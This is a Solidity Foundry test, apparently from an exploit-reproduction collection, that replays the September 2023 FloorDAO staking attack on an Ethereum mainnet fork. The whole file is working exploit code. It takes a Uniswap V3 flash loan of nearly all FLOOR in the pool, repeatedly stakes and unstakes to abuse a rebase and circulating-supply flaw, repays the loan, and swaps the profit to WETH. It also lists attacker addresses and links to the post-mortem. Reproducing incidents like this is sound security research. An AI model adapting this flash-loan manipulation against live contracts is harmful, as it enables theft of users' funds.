FloorDAO_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo -- Total Lost : ~40 eth
// Attacker : https://etherscan.io/address/0x4453aed57c23a50d887a42ad0cd14ff1b819c750
// Attack Contract : https://etherscan.io/address/0x6ce5a85cff4c70591da82de5eb91c3fa38b40595
// Attacker Transaction : https://explorer.phalcon.xyz/tx/eth/0x1274b32d4dfacd2703ad032e8bd669a83f012dde9d27ed92e4e7da0387adafe4

// @Analysis
// https://twitter.com/PeckShieldAlert/status/1698962105058361392
// https://medium.com/floordao/floor-post-mortem-incident-summary-september-5-2023-e054a2d5afa4

interface IFloorStaking {
    function unstake(address _to, uint256 _amount, bool _trigger, bool _rebasing) external;
    function stake(address _to, uint256 _amount, bool _rebasing, bool _claim) external returns (uint256);
}

interface IsFloor is IERC20 {
    function circulatingSupply() external returns (uint256);
}

contract FloorStakingExploit is Test {
    IERC20 floor = IERC20(0xf59257E961883636290411c11ec5Ae622d19455e);
    IsFloor sFloor = IsFloor(0x164AFe96912099543BC2c48bb9358a095Db8e784);
    IERC20 gFloor = IERC20(0xb1Cc59Fc717b8D4783D41F952725177298B5619d);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    uint256 flashAmount;
    IFloorStaking staking = IFloorStaking(0x759c6De5bcA9ADE8A1a2719a31553c4B7DE02539);
    Uni_Pair_V3 floorUniPool = Uni_Pair_V3(0xB386c1d831eED803F5e8F274A59C91c4C22EEAc0);

    function setUp() public {
        vm.createSelectFork("https://eth.llamarpc.com", 18_068_772);

        vm.label(address(floor), "floor");
        vm.label(address(sFloor), "sFloor");
        vm.label(address(gFloor), "gFloor");
        vm.label(address(WETH), "WETH");
        vm.label(address(staking), "FloorStaking");
        vm.label(address(floorUniPool), "Pool");
    }

    function testExploit() public {
        flashAmount = floor.balanceOf(address(floorUniPool)) - 1;
        floorUniPool.flash(address(this), 0, flashAmount, "");

        uint256 profitAmount = floor.balanceOf(address(this));
        emit log_named_decimal_uint("floor token balance after exploit", profitAmount, floor.decimals());
        floorUniPool.swap(
            address(this), false, int256(profitAmount), uint160(0xfFfd8963EFd1fC6A506488495d951d5263988d25), ""
        );
        emit log_named_decimal_uint("weth balance after swap", WETH.balanceOf(address(this)), WETH.decimals());
    }

    function uniswapV3FlashCallback(uint256, /*fee0*/ uint256 fee1, bytes calldata) external {
        uint256 i = 0;
        while (i < 17) {
            uint256 balanceAttacker = floor.balanceOf(address(this));
            uint256 balanceStaking = floor.balanceOf(address(staking));
            uint256 circulatingSupply = sFloor.circulatingSupply();
            if (balanceAttacker + balanceStaking > circulatingSupply) {
                floor.approve(address(staking), balanceAttacker);
                staking.stake(address(this), balanceAttacker, false, true);
                uint256 gFloorBalance = gFloor.balanceOf(address(this));
                staking.unstake(address(this), gFloorBalance, true, false);
                i += 1;
            }
        }

        floor.transfer(msg.sender, flashAmount + fee1);
    }

    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
        int256 amount = amount1Delta;
        if (amount <= 0) {
            amount = 0 - amount;
        }
        floor.transfer(msg.sender, uint256(amount));
    }
}